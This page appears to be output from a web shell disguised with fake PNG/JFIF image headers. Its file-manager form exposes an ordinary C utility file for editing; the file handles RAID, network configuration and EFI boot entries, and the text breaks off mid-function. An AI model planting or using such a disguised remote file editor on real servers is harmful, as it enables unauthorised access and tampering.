�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FGIX_SETUP%2F'>GIX_SETUP</a>/<a href='?path=%2Fbig%2FGIX_SETUP%2Fsrc%2F'>src</a>/</p><hr><h3>✏️ Editing: stools.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;sys/mount.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;sys/poll.h&gt;
#include &lt;sys/sysmacros.h&gt;
#include &lt;stdio.h&gt;
#include &lt;time.h&gt;
#include &lt;strings.h&gt;
#include &lt;string.h&gt;
#include &lt;stdarg.h&gt;
#include &lt;ctype.h&gt;
#include &lt;dirent.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;uuid/uuid.h&gt;
#include &lt;unistd.h&gt;
#include &lt;utime.h&gt;
#include &lt;ncurses.h&gt;
#include &lt;malloc.h&gt;
#include &lt;signal.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;netinet/ip.h&gt;
#include &lt;atasmart.h&gt;
#include &lt;libfdisk/libfdisk.h&gt;
#include &lt;net/if.h&gt;
#include &lt;net/route.h&gt;
#include &lt;netdb.h&gt;
#include &lt;errno.h&gt;
#include &lt;ifaddrs.h&gt;
#include &lt;lzma.h&gt;
#include &lt;linux/netlink.h&gt;
#include &lt;linux/rtnetlink.h&gt;
#include &lt;linux/if_packet.h&gt;
#include &lt;linux/if_arp.h&gt;
#include &lt;linux/major.h&gt;
#include &lt;linux/types.h&gt;
#include &lt;linux/raid/md_u.h&gt;
#include &lt;net/ethernet.h&gt;
#include &lt;sys/sysmacros.h&gt;
#include &quot;gix.h&quot;

void _debug_logger(char *__file__,int __line__,const char *fmt, ...);
#define debug_logger(fmt, ...) _debug_logger(__FILE__,__LINE__,fmt, ##__VA_ARGS__)


int is_zero(unsigned char *field,int len){
	int i;
	for ( i = 0; i &lt; len; i++ ) 
		if ( field[i] ) return(0);
	return(1);
}


void _debug_logger(char *__file__,int __line__,const char *fmt, ...){
        char p[102400];
        va_list ap;
        struct timeval tv;
        struct tm _tm;
        struct tm *tm;
        char datestamp[512];
        FILE *log;
        gettimeofday(&amp;tv,NULL);
        tm = localtime_r(&amp;tv.tv_sec,&amp;_tm);
        sprintf(datestamp,&quot;[%04d-%02d-%02d %02d:%02d:%02d.%06d](%s:%d) (%d)&quot;,
                tm-&gt;tm_year + 1900, tm-&gt;tm_mon + 1, tm-&gt;tm_mday,
                tm-&gt;tm_hour, tm-&gt;tm_min, tm-&gt;tm_sec, tv.tv_usec,
                __file__,__line__,
                getpid());

        va_start(ap,fmt);
        vsnprintf(p,102400,fmt,ap);
        va_end(ap);
        if ( DEBUG_LOGFILE ){
                log = fopen(DEBUG_LOGFILE,&quot;a&quot;);
                if ( log ){
                        fprintf(log,&quot;%s %s&quot;,datestamp,p);
                        fclose(log);
                }
        }
	// fprintf(stderr,&quot;%s %s&quot;,datestamp,p);

}

#define SIZE_FACTOR 1024


char *showsize(u_int64_t size){
        static char dummy[64];
        double siz;
        siz = (double)size;

        if ( siz &gt; ((u_int64_t)SIZE_FACTOR * (u_int64_t)SIZE_FACTOR * (u_int64_t)SIZE_FACTOR * (u_int64_t)SIZE_FACTOR) ){
                sprintf(dummy,&quot;%.02f TiBytes&quot;,siz / ((double)((u_int64_t)SIZE_FACTOR * (u_int64_t)SIZE_FACTOR * (u_int64_t)SIZE_FACTOR * (u_int64_t)SIZE_FACTOR)));
        } else if ( siz &gt; (u_int64_t)(SIZE_FACTOR * SIZE_FACTOR * SIZE_FACTOR) ){
                sprintf(dummy,&quot;%.02f GiBytes&quot;,siz / ( SIZE_FACTOR * SIZE_FACTOR * SIZE_FACTOR));
        } else if ( siz &gt; (u_int64_t)(SIZE_FACTOR * SIZE_FACTOR) ){
                sprintf(dummy,&quot;%.02f MiBytes&quot;,siz / (  SIZE_FACTOR * SIZE_FACTOR));
        } else if ( siz &gt; (u_int64_t)(SIZE_FACTOR) ){
                sprintf(dummy,&quot;%.02f KiBytes&quot;,siz / (SIZE_FACTOR));
        } else {
                sprintf(dummy,&quot;%d Bytes&quot;,siz);
        }
        return(dummy);
}

char *generate_guid(char *newguid){
	uuid_t guid;

	uuid_generate(guid);
	uuid_unparse(guid,newguid);
	return(newguid);
}




/*
struct _part {
        char devname[16];
};


struct _raid {
        char devname[16];
        int level;
        struct _part  *part;
        int parts;
        u_int64_t size; // In Bytes
};
*/





#define getdevname(a,b) _getdevname(&quot;/dev&quot;,(a),(b))

char *_getdevname(char *_dir, int major, int minor){
	DIR *dir;
	static char fname[1024];
	struct dirent *diry;
	char *ptr;

	dir = opendir(_dir);
	if ( dir ){
		while ( (diry = readdir(dir)) ){
			struct stat st;
			if ( strcmp(diry-&gt;d_name,&quot;.&quot;) == 0 ) continue;
			if ( strcmp(diry-&gt;d_name,&quot;..&quot;) == 0 ) continue;
			sprintf(fname,&quot;%s/%s&quot;,_dir,diry-&gt;d_name);
			if ( stat(fname,&amp;st) == 0 ){
				if ( S_ISBLK(st.st_mode)  ){
					if ( minor(st.st_rdev) == minor &amp;&amp; major(st.st_rdev) == major ){
						ptr = fname;
						/*
						debug_logger(&quot;FOUND (%d:%d) --&gt; [%s]\n&quot;,
							major,minor, ptr);
						*/
						closedir(dir);
						return(ptr);
					}
				}
			}
			
		}
		closedir(dir);
	}
	return(NULL);
}

struct _raid *gix_raidlist = NULL;
int gix_raidlists = 0;

#define rds gix_raidlists
#define rd gix_raidlist

struct _raid *checkraidmember(char *devname){
	int i,j;
	if ( rd ==  NULL ){
		update_raidlist();
	}
	if ( rd == NULL ) return(NULL);
	for ( i = 0; i &lt; rds; i++ ){
		for ( j = 0; j &lt; rd[i].parts; j++ ){
			if ( strcmp(devname,rd[i].part[j].devname) == 0 ) return(&amp;rd[i]);
		}	
	}
	return(NULL);

}
struct _raid *getraid(char *devname){
	int i;
	if ( rd ==  NULL ){
		update_raidlist();
	}
	if ( rd == NULL ) return(NULL);
	for ( i = 0; i &lt; rds; i++ ){
		if ( strcmp(rd[i].devname,devname) == 0 ) return(&amp;rd[i]);
	}
	return(NULL);

}




void update_raidlist(){
	struct mdu_array_info_s array_info;
	char fname[1024];
	DIR *dir;
	struct dirent *diry;
	int i,j;
	if ( rds ){
		for ( i = 0; i &lt; rds; i++ ){
			if ( rd[i].part ) free( rd[i].part );
		}
	}
	// debug_logger(&quot;Updating RAIDLIST\n&quot;);
	if ( rd ) free(rd);
	rd = NULL;
	rds = 0;
	dir = opendir(&quot;/dev&quot;);
	if ( dir ){
		struct stat st;
		while ( (diry = readdir(dir)) ){
			int npart;
			int fd;
			int fd2;
			u_int64_t smallest_size;
			if ( strlen(diry-&gt;d_name) &lt;  3 ) continue;
			if ( memcmp(diry-&gt;d_name,&quot;md&quot;,2) != 0 ) continue;
			sprintf(fname,&quot;/dev/%s&quot;,diry-&gt;d_name);
			if ( stat(fname,&amp;st) ) continue;
			fd = open(fname,O_RDONLY);
			if ( fd &lt; 0 ) continue;
			if ( ioctl(fd,GET_ARRAY_INFO,&amp;array_info) &lt; 0 ){ close(fd); continue; } 
			smallest_size = 0;
			rd = (struct _raid *)realloc(rd,sizeof(struct _raid) * (rds+1));
			bzero(&amp;rd[rds],sizeof(struct _raid));
			strcpy(rd[rds].devname,&quot;/dev/&quot;);
			strcat(rd[rds].devname,diry-&gt;d_name);
			rd[rds].level = array_info.level;
			rd[rds].parts = array_info.raid_disks;
			rd[rds].part  = (struct _part *)malloc(sizeof(struct _part) * rd[rds].parts);
			npart = 0;
			for ( j = 0; j &lt; 128; j++ ){
				mdu_disk_info_t dev_info;
				bzero(&amp;dev_info,sizeof(dev_info));
				dev_info.number = j;
				if ( ioctl(fd,GET_DISK_INFO,&amp;dev_info) == 0 ){
					char *ptr;
					ptr = getdevname(dev_info.major, dev_info.minor);
					if ( ptr == NULL ) continue;
					// debug_logger(&quot;Device name for %d, %d --&gt; [%s] (%d/%d)\n&quot;,dev_info.major, dev_info.minor, ptr == NULL ? &quot;NULL&quot; : ptr,j,rd[rds].parts);

					strcpy(rd[rds].part[npart++].devname,ptr == NULL ? &quot;-&quot; : ptr);
					if ( ptr ){
						fd2 = open(ptr,O_RDONLY);
						if ( fd2 ){
							u_int64_t now_size;
							now_size = lseek(fd2,0,SEEK_END);
							if ( now_size &lt; smallest_size || smallest_size == 0 ) smallest_size = now_size;
							close(fd2);
						}	
					}	
					if ( npart == rd[rds].parts ) break;
				} else {
					strcpy(rd[rds].part[j].devname,&quot;--&quot;);
				}
			}
			close(fd);
		
			if ( rd[rds].level == 0 ){
				rd[rds].size = smallest_size * rd[rds].parts;
			} else if ( rd[rds].level == 1 ){
				rd[rds].size = smallest_size * (rd[rds].parts / 2);
			} else if ( rd[rds].level == 5 ){
				rd[rds].size = smallest_size * (rd[rds].parts - 1);
			} else if ( rd[rds].level == 6 ){
				rd[rds].size = smallest_size * (rd[rds].parts - 2);
			} else if ( rd[rds].level == 10 ){
				rd[rds].size = smallest_size * (rd[rds].parts / 2);
			} else {
				rd[rds].size = 0;	
			}
			rds++;	
			
			
		}
		closedir(dir);
	}
	/*
	debug_logger(&quot;Found %d Raid-Arrays\n&quot;,rds);
	for ( j = 0; j &lt; rds; j++ ){
		debug_logger(&quot;Array [%s] contains %d disks, Total Size: %s (LEVEL: %d)\n&quot;,
			rd[j].devname,
			rd[j].parts,
			showsize(rd[j].size),
			rd[j].level);
		for ( i = 0; i &lt; rd[j].parts; i++ ){
			debug_logger(&quot;--&gt; [%s]\n&quot;,rd[j].part[i].devname);
		}
	}
	*/
}

#undef rd
#undef rds


int gix_get_prefixlen_ipv4(unsigned char *mask){
        int i,j;
        int prefixlen;

        prefixlen = 0;  
        for ( i = 0; i &lt; 4; i++ ){
                for ( j = 0; j &lt; 8; j++ ){
                        if ( (mask[i] &gt;&gt; j) &amp; 0x01 ) prefixlen++;
                }
        }
        return(prefixlen);
}

int gix_get_prefixlen_ipv6(unsigned char *mask){
        int i,j;
        int prefixlen;

        prefixlen = 0;  
        for ( i = 0; i &lt; 16; i++ ){
                for ( j = 0; j &lt; 8; j++ ){
                        if ( (mask[i] &gt;&gt; j) &amp; 0x01 ) prefixlen++;
                }
        }
        return(prefixlen);
}

unsigned char gix_bit_values_inverted[] = { 128,64,32,16,8,4,2,1 };



char *display_ipv4(unsigned char *addr, int addr_len, char *output){
        int i;
        *output = 0x00;
        for ( i = 0; i &lt; addr_len; i++ ){
                sprintf(&amp;output[strlen(output)],&quot;%d&quot;,addr[i]);
                if ( i != ( addr_len - 1 ) ) strcat(output,&quot;.&quot;);
        }
        return(output);
}
char *display_ipv6(unsigned char *addr, int addr_len, char *output){
        int i;

	inet_ntop(AF_INET6,addr,output,1024);
	return(output);

        *output = 0x00;
        for ( i = 0; i &lt; addr_len; i++ ){
                if ( i &amp;&amp; (i % 2)  == 0 ) strcat(output,&quot;:&quot;);
                sprintf(&amp;output[strlen(output)],&quot;%02x&quot;,addr[i]);
        }
        return(output);
}


unsigned char *gix_apply_netmask_ipv6(unsigned char *netmask, unsigned char *ipv6, unsigned char *result){
        int i;
        for ( i = 0; i &lt; 16; i++ ){
                result[i] = ipv6[i] &amp; netmask[i];
        }
        return(result);
}
unsigned char *gix_apply_netmask_ipv4(unsigned char *netmask, unsigned char *ipv6, unsigned char *result){
        int i;
        for ( i = 0; i &lt; 4; i++ ){
                result[i] = ipv6[i] &amp; netmask[i];
        }
        return(result);
}

unsigned char  *gix_genmask_ipv6(int prefixlen, unsigned char *netmask){
        int i;
        memset(netmask,0,16);
        if ( prefixlen &lt;= 0 ) return(netmask);
        for ( i = 0; i &lt; 128; i++ ){
                if ( i &lt; prefixlen ){
                        netmask[i&gt;&gt;3] |= gix_bit_values_inverted[i % 8];
                }                       
        }
        return(netmask);
}


unsigned char *gix_genmask_ipv4(int prefix_len, unsigned char *result){
        int i;
        uint32_t mask;
        mask = 0x00000000;
        for ( i = 1; i &lt;= prefix_len &amp;&amp; i &lt; 33; i++ ){
                mask |= (1&lt;&lt;(32-i));
        }
        result[0] = (unsigned char) ((mask&gt;&gt;24) &amp; 0xFF);
        result[1] = (unsigned char) ((mask&gt;&gt;16) &amp; 0xFF);
        result[2] = (unsigned char) ((mask&gt;&gt;8) &amp; 0xFF);
        result[3] = (unsigned char) (mask &amp; 0xFF);
        return(result);
}

unsigned char *gix_gen_broadcast_ipv4(unsigned char *ipv4, int prefix_len, unsigned char *result){
	int i;
	unsigned char netmask[4];
	gix_genmask_ipv4(prefix_len,netmask);
	for ( i = 0; i &lt; 4; i++ ){
		netmask[i] = ~netmask[i];
		result[i]  = netmask[i] | ipv4[i];
	}
	return(result);

}





char *get_tag(char *filename, char *tag){
	FILE *fp;
	static char buf[1024];
	char wanted[64];

	sprintf(wanted,&quot;%s=&quot;,tag);
	if ( (fp = fopen(filename,&quot;r&quot;)) == NULL ) return(NULL);
	while ( fgets(buf,1024,fp) ){
		if ( strncmp(buf,wanted,strlen(wanted)) == 0 ){
			fclose(fp);
			while(strlen(buf) &amp;&amp; (buf[strlen(buf)-1] == &#039;\r&#039; || buf[strlen(buf)-1] == &#039;\n&#039; || isspace(buf[strlen(buf)-1]) ) ) buf[strlen(buf)-1] = 0x00;
			return(&amp;buf[strlen(wanted)]);
		}
	}
	fclose(fp);
	return(NULL);
}



struct _interface *getinterface(char *sysconfpath, char *ifname){
	unsigned char zero[16];
	char dummy[1024];
	struct stat st;
	char config_file[1024];
	static struct _interface iffy;
	bzero(&amp;iffy,sizeof(struct _interface));
	strcpy( iffy.name,ifname);
	sprintf(config_file,&quot;%s/ifconfig.%s&quot;,sysconfpath,ifname);
	bzero(zero,16);
	// printf(&quot;SYSCONFPATH: [%s], Interface: [%s] --&gt; [%s]\n&quot;,sysconfpath,ifname,config_file);
	if ( stat(config_file,&amp;st) ){
		int sock;
		sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_IP);
		if ( sock &gt; 0 ){
			unsigned char ip[4];
			char *value;
			in_addr_t ipli;
			struct ifreq ifr;	
			bzero(&amp;ifr,sizeof(struct ifreq));
			strcpy(ifr.ifr_name,ifname);
			if ( ioctl(sock,SIOCGIFADDR,&amp;ifr) == 0 ){
				ip[3] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 24) &amp; 0xFF;
				ip[2] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 16) &amp; 0xFF;
				ip[1] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 8) &amp; 0xFF;
				ip[0] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 0) &amp; 0xFF;
				memcpy(iffy.ip4,ip,4);
			}
			if ( ioctl(sock,SIOCGIFBRDADDR,&amp;ifr) == 0 ){
				ip[3] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 24) &amp; 0xFF;
				ip[2] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 16) &amp; 0xFF;
				ip[1] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 8) &amp; 0xFF;
				ip[0] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 0) &amp; 0xFF;
				memcpy(iffy.broadcast_ip4,ip,4);
			}
			if ( ioctl(sock,SIOCGIFNETMASK,&amp;ifr) == 0 ){
				ip[3] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 24) &amp; 0xFF;
				ip[2] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 16) &amp; 0xFF;
				ip[1] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 8) &amp; 0xFF;
				ip[0] = ((((struct sockaddr_in *)&amp;ifr.ifr_addr)-&gt;sin_addr.s_addr) &gt;&gt; 0) &amp; 0xFF;
				iffy.prefixlen_ip4 = gix_get_prefixlen_ipv4(ip);
			}
			close(sock);	
		}	
		{
			FILE *fp;
			fp = fopen(&quot;/proc/net/if_inet6&quot;,&quot;r&quot;);
			if ( fp ){
				char buf[1024];
				while ( fgets(buf,1024,fp) ){
					char *ip;
					char *index;
					char *masklen;
					char *add1;
					char *add2;
					char *iface;
					char *hlp;
					hlp = buf;
					ip = strtok_r(buf,&quot; \n\r\t&quot;,&amp;hlp);
					if ( ip == NULL ) continue;
					index = strtok_r(NULL,&quot; \n\r\t&quot;,&amp;hlp);
					if ( index == NULL ) continue;
					masklen = strtok_r(NULL,&quot; \n\r\t&quot;,&amp;hlp);
					if ( masklen == NULL ) continue;
					add1 = strtok_r(NULL,&quot; \n\r\t&quot;,&amp;hlp);
					if ( add1 == NULL ) continue;
					add2 = strtok_r(NULL,&quot; \n\r\t&quot;,&amp;hlp);
					if ( add2 == NULL ) continue;
					iface = strtok_r(NULL,&quot; \n\r\t&quot;,&amp;hlp);
					if ( iface == NULL ) continue;
					if ( strcmp(iface,ifname) != 0 ) continue;
					sscanf(ip,&quot;%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x&quot;,
							&amp;iffy.ip6[0], &amp;iffy.ip6[1], &amp;iffy.ip6[2], &amp;iffy.ip6[3],
							&amp;iffy.ip6[4], &amp;iffy.ip6[5], &amp;iffy.ip6[6], &amp;iffy.ip6[7],
							&amp;iffy.ip6[8+0], &amp;iffy.ip6[8+1], &amp;iffy.ip6[8+2], &amp;iffy.ip6[8+3],
							&amp;iffy.ip6[8+4], &amp;iffy.ip6[8+5], &amp;iffy.ip6[8+6], &amp;iffy.ip6[8+7]);
					sscanf(masklen,&quot;%02x&quot;,&amp;iffy.prefixlen_ip6);
				}
				fclose(fp);
			}
		}


	} else { 
		// Try to read life configuration
		unsigned char ip[4];
		char *value;
		in_addr_t ipli;
		
		value = get_tag(config_file,&quot;ONBOOT&quot;);
		if ( value &amp;&amp; ( value[0] == &#039;y&#039; || value[0] == &#039;Y&#039; ) ) iffy.active = 1;
		value = get_tag(config_file,&quot;SERVICE&quot;);
		if ( value ) strcpy(iffy.service,value);

		value = get_tag(config_file,&quot;PREFIX&quot;);
		if ( value ) iffy.prefixlen_ip4 = atoi(value);


		value = get_tag(config_file,&quot;PREFIX6&quot;);
		if ( value ) iffy.prefixlen_ip6 = atoi(value);
		value = get_tag(config_file,&quot;IP6&quot;);
		if ( value ) inet_pton(AF_INET6,value,iffy.ip6);
		value = get_tag(config_file,&quot;GATEWAY6&quot;);
		if ( value ) inet_pton(AF_INET6,value,iffy.gw_ip6);

		value = get_tag(config_file,&quot;IP&quot;);
		bzero(ip,4);
		if ( value ){
			ipli = inet_addr(value);	
			ip[3] = (ipli &gt;&gt; 24) &amp; 0xFF;
			ip[2] = (ipli &gt;&gt; 16) &amp; 0xFF;
			ip[1] = (ipli &gt;&gt; 8) &amp; 0xFF;
			ip[0] = (ipli &gt;&gt; 0) &amp; 0xFF;
		} 
		memcpy(iffy.ip4,ip,4);
		value = get_tag(config_file,&quot;GATEWAY&quot;);
		bzero(ip,4);
		if ( value ){
			ipli = inet_addr(value);	
			ip[3] = (ipli &gt;&gt; 24) &amp; 0xFF;
			ip[2] = (ipli &gt;&gt; 16) &amp; 0xFF;
			ip[1] = (ipli &gt;&gt; 8) &amp; 0xFF;
			ip[0] = (ipli &gt;&gt; 0) &amp; 0xFF;
		} 
		memcpy(iffy.gw_ip4,ip,4);
		value = get_tag(config_file,&quot;BROADCAST&quot;);
		bzero(ip,4);
		if ( value ){
			ipli = inet_addr(value);	
			ip[3] = (ipli &gt;&gt; 24) &amp; 0xFF;
			ip[2] = (ipli &gt;&gt; 16) &amp; 0xFF;
			ip[1] = (ipli &gt;&gt; 8) &amp; 0xFF;
			ip[0] = (ipli &gt;&gt; 0) &amp; 0xFF;
		} 
		memcpy(iffy.broadcast_ip4,ip,4);
	}
	if ( !is_zero(iffy.ip4,4) == 0 ) iffy.active = 1;
	if ( strlen(iffy.service) == 0 ) strcpy(iffy.service,&quot;ipv46-static&quot;);
	

	return(&amp;iffy);
}


int write_interface(char *sysconfigpath,struct _interface *iff){
	unsigned char fname[1024];
	FILE *fp;

	sprintf(fname,&quot;%s/ifconfig.%s&quot;,sysconfigpath,iff-&gt;name);
	debug_logger(&quot;Writing interface [%s] to [%s]\n&quot;,iff-&gt;name,fname);
	unlink(fname);
	fp = fopen(fname,&quot;w&quot;);
	if ( fp == NULL ) return(-1);
	fprintf(fp,&quot;IFACE=%s\n&quot;,iff-&gt;name);
	fprintf(fp,&quot;ONBOOT=%s\n&quot;,iff-&gt;active ? &quot;yes&quot; : &quot;no&quot;);
	fprintf(fp,&quot;SERVICE=ipv46-static\n&quot;);
	if ( !is_zero(iff-&gt;ip4,4) ){
		fprintf(fp,&quot;IP=%s\n&quot;,display_ipv4(iff-&gt;ip4,4,fname));
		fprintf(fp,&quot;PREFIX=%d\n&quot;,iff-&gt;prefixlen_ip4);
	}
	fprintf(fp,&quot;BROADCAST=%s\n&quot;,display_ipv4(iff-&gt;broadcast_ip4,4,fname));
	if ( !is_zero(iff-&gt;gw_ip4,4) ){
		fprintf(fp,&quot;GATEWAY=%s\n&quot;,display_ipv4(iff-&gt;gw_ip4,4,fname));
	}
	if ( !is_zero(iff-&gt;ip6,16 ) ) {
		char helper[1024];
		inet_ntop(AF_INET6,iff-&gt;ip6,helper,1024);
		fprintf(fp,&quot;IP6=%s\n&quot;,helper);
		if ( !is_zero(iff-&gt;gw_ip6,16) ){
			inet_ntop(AF_INET6,iff-&gt;gw_ip6,helper,1024);
			fprintf(fp,&quot;GATEWAY6=%s\n&quot;,helper);
		}
		fprintf(fp,&quot;PREFIX6=%d\n&quot;,iff-&gt;prefixlen_ip6);
	}
	fclose(fp);

	return(0);
}


char *efi_show_attrs(u_int32_t val){
	static char result[1024];
	strcpy(result,&quot;&quot;);
	if ( val &amp; EFI_VARIABLE_NON_VOLATILE )      strcat(result,&quot;NON_VOLATILE &quot;);
	if ( val &amp; EFI_VARIABLE_BOOTSERVICE_ACCESS ) strcat(result,&quot;BOOTSERVICE_ACCESS &quot;);
	if ( val &amp; EFI_VARIABLE_RUNTIME_ACCESS ) strcat(result,&quot;RUNTIME_ACCESS &quot;);
	if ( val &amp; EFI_VARIABLE_HARDWARE_ERROR_RECORD ) strcat(result,&quot;HARDWARE_ERROR_RECORD &quot;);
	if ( val &amp; EFI_VARIABLE_AUTHENTICATED_WRITE_ACCESS ) strcat(result,&quot;AUTHENTICATED_WRITE_ACCESS &quot;);
	if ( val &amp; EFI_VARIABLE_TIME_BASED_AUTHENTICATED_WRITE ) strcat(result,&quot;TIME_BASED_AUTHENTICATED_WRITE &quot;);
	if ( val &amp; EFI_VARIABLE_APPEND_WRITE ) strcat(result,&quot;APPEND_WRITE &quot;);
	if ( val &amp; EFI_VARIABLE_ENHANCED_AUTHENTICATED_ACCESS ) strcat(result,&quot;ENHANCED_AUTHENTICATED_ACCESS &quot;);
	return(result);
}


char *gix_hexdump(unsigned char *data, int data_len, char *rett){
	char *ret;
	int i;

	ret = rett;
	for ( i = 0; i &lt; data_len; i++ ){
		if ( i ){ *ret = &#039;,&#039;; ret++; }
		sprintf(ret,&quot;%02X&quot;,data[i]);
		ret++;
		ret++;
	}	 
	*ret = 0x00;
	return(rett);

}

void dump_efi(struct _efivar *ef){
	char hexdump2[10240];
	int i;
	/*
	debug_logger(&quot;------------------------------------------------------------------------\n&quot;);
	debug_logger(&quot;Variable: [%s] (%d Bytes)\n&quot;,ef-&gt;name,ef-&gt;size);
	// debug_logger(&quot;Attrs: 0x%08X: [%s]\n&quot;,ef-&gt;attributes,efi_show_attrs(ef-&gt;attributes));
	debug_logger(&quot;Description: [%ls] (%d Bytes) (%s)\n&quot;,ef-&gt;description,ef-&gt;description_len,gix_hexdump((unsigned char *)ef-&gt;description,ef-&gt;description_len * 4,hexdump2));
	*/
	debug_logger(&quot;------------------------------------------------------------------------\n&quot;);
	if ( ef-&gt;bootorders ){
	}
	debug_logger(&quot;Found %d Bootorders (FILEFLAGS: [0x%04X], ACTIVE: [%c] (%04X) {%ls} [%s]\n&quot;,ef-&gt;bootorders,ef-&gt;fileflags,ef-&gt;active ? &#039;*&#039; : &#039; &#039; ,ef-&gt;entrynr,ef-&gt;description, ef-&gt;name);
	/*
	for ( i = 0; i &lt; ef-&gt;bootorders; i++ ){
		debug_logger(&quot;BOOT-ORDER[%d]:  0x%04X\n&quot;,i,ef-&gt;bootorder[i]);
	}
	*/
	if ( ef-&gt;mdp ){
		wchar_t dat[1024];
		decode_utf16((uint16_t *)ef-&gt;mdp-&gt;file_path,dat,1024);
		debug_logger(&quot;MDP (Type 4): FILE_PATH: [%ls]\n&quot;,dat);
		debug_logger(&quot;Partition:       %d\n&quot;,ef-&gt;mdp-&gt;partnumber);
		debug_logger(&quot;Starting LBA:    %ju\n&quot;,ef-&gt;mdp-&gt;starting_lba);
		debug_logger(&quot;Partition Size:  %ju\n&quot;,ef-&gt;mdp-&gt;partition_size);
		debug_logger(&quot;MBR-Type:        %d\n&quot;,ef-&gt;mdp-&gt;mbr_type[0]);
		debug_logger(&quot;Signature-Type:  %d\n&quot;,ef-&gt;mdp-&gt;signature_type[0]);
		debug_logger(&quot;Signature (hex): [%s]\n&quot;,gix_hexdump(ef-&gt;mdp-&gt;signature,16,hexdump2));
	}
	for ( i = 0; i &lt; ef-&gt;filepaths; i++ ){
		debug_logger(&quot;  FP[%d] TYPE: x%02X, Subtype: x%02X, LEN: %d Remain:[%d] DATA: [%s]\n&quot;,i,
				ef-&gt;filepath[i].type,
				ef-&gt;filepath[i].subtype,
				ef-&gt;filepath[i].length,
				ef-&gt;remain,
				ef-&gt;entrynr == 0xFFFF ? &quot;-&quot; : gix_hexdump(ef-&gt;filepath[i].data,ef-&gt;filepath[i].length,hexdump2));

	}
	if ( ef-&gt;remain &amp;&amp; ef-&gt;remain_data ){
		wchar_t dat[1024];
		decode_utf16((uint16_t *)ef-&gt;remain_data,dat,1024);
		debug_logger(&quot;REMAIN: [%ls] DUMMY: 0x%02X, 0x%02X\n&quot;,dat,
				ef-&gt;dummy[0],ef-&gt;dummy[1]);
	}
	debug_logger(&quot;------------------------------------------------------------------------\n&quot;);
}


int create_efi_boot_entry(struct _efidisk *ef,unsigned char *bootlabel,unsigned char *bootimage,unsigned char *bootargs,u_int16_t *bootorder, int bootorders, int bootsel){
	char newuid[128];
	u_int16_t newentry;
	u_int16_t first_free;
	int i,j;
	char fname[1024];
	unsigned char buf[10240];
	int offset;
	int len_offset;
	int start_offset;
	u_int16_t offset_size;
	u_int64_t *h64;
	int fd;
	int retval;
	u_int16_t args_len;
	int result;
	char cmd[1024];
	char **arg;
	int args;


	arg = NULL;
	args = 0;

	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(&quot;/usr/sbin/efibootmgr&quot;);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(&quot;-c&quot;);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(&quot;-d&quot;);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = ef-&gt;device;
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(&quot;-p&quot;);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	sprintf(cmd,&quot;%d&quot;,ef-&gt;partno);
	arg[args++] = strdup(cmd);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(&quot;-L&quot;);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(bootlabel);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(&quot;-l&quot;);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(bootimage);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(&quot;-u&quot;);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = strdup(bootargs);
	arg = (char **)realloc(arg,sizeof(char *) * ( args+1));
	arg[args++] = NULL;

	for ( i = 0; arg[i] != NULL; i++ ){
		debug_logger(&quot;EFIBOOTMGR ARG[%d] {%s}\n&quot;,i,arg[i]);

	}

	result = run_program(arg[0],arg,&quot;Creating new Boot-Entry&quot;,NULL);
	if ( result != 0 ){
		return(-1);
	}
	return(0);


	bzero(newuid,128);
	for ( i = 0; i &lt; 65535; i++ ){
		for ( j = 0; j &lt; bootorders; j++ )
			if ( bootorder[j] == i ) break;
		if ( j == bootorders ) break; // We found a free one...
	}
	newentry = (u_int16_t)j;
	bootorders++;
